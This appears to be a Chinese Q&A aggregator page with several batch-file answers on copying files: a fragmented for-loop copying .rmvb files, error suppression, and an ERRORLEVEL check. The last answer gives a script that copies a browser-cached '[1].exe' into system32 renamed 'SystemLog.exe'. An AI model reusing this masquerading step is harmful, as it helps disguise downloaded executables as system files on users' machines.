/f
"delims="
%%i
in
('dir
/b
f:\media\*.rmvb')
do
copy
"%%~fi"
f:\ynigu\ynigu..\
::如果文件名中有空格也能成功复制。
还有一点,竟然你知道可以直接复制,那就不要把简单的问题复杂化了,copy的唯一问题是如果不存在会显示出错,用一以下代码可以屏蔽出错信息:
copy
f:\media\*.rmvb
f:\ynigu\ynigu..\
2>nul
用管道find命令,需要用批处理文件COPY AAA BBB | FIND "已复制"
ECHO %ERRORLEVEL%
%ERRORLEVEL%=0复制成功,=1复制失败。
以上脚本写法是正确
问题是你的BAT文件存在哪里,这个%cd%是指BAT所在的目录
还有就是BAT不会自动检测并运行,而是要人工双击打开后,才会去判断执行 *** 作的
如果在运行网页时的临时文件[1].exe是存在于“%USERPROFILE%\\Local Settings\\Temporary Internet Files”中的,而不是在"%cd%\\中.
所以方法是
if not exist "%cd%\\yongyou.exe" goto 1
copy "%cd%\\yongyou.exe" %windir%\\system32\\SystemLog.exe /y
goto 2
:1
copy "%USERPROFILE%\\Local Settings\\Temporary Internet Files\\[1].exe" %windir%\\system32\\SystemLog.exe /y
:2
exit
这个BAT文件应处于:不在网页中运行时将会产生yongyou.exe文件的同一目录。
执行流程是:打开程序后不管在不在网页中运行,你都得双击该BAT文件
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)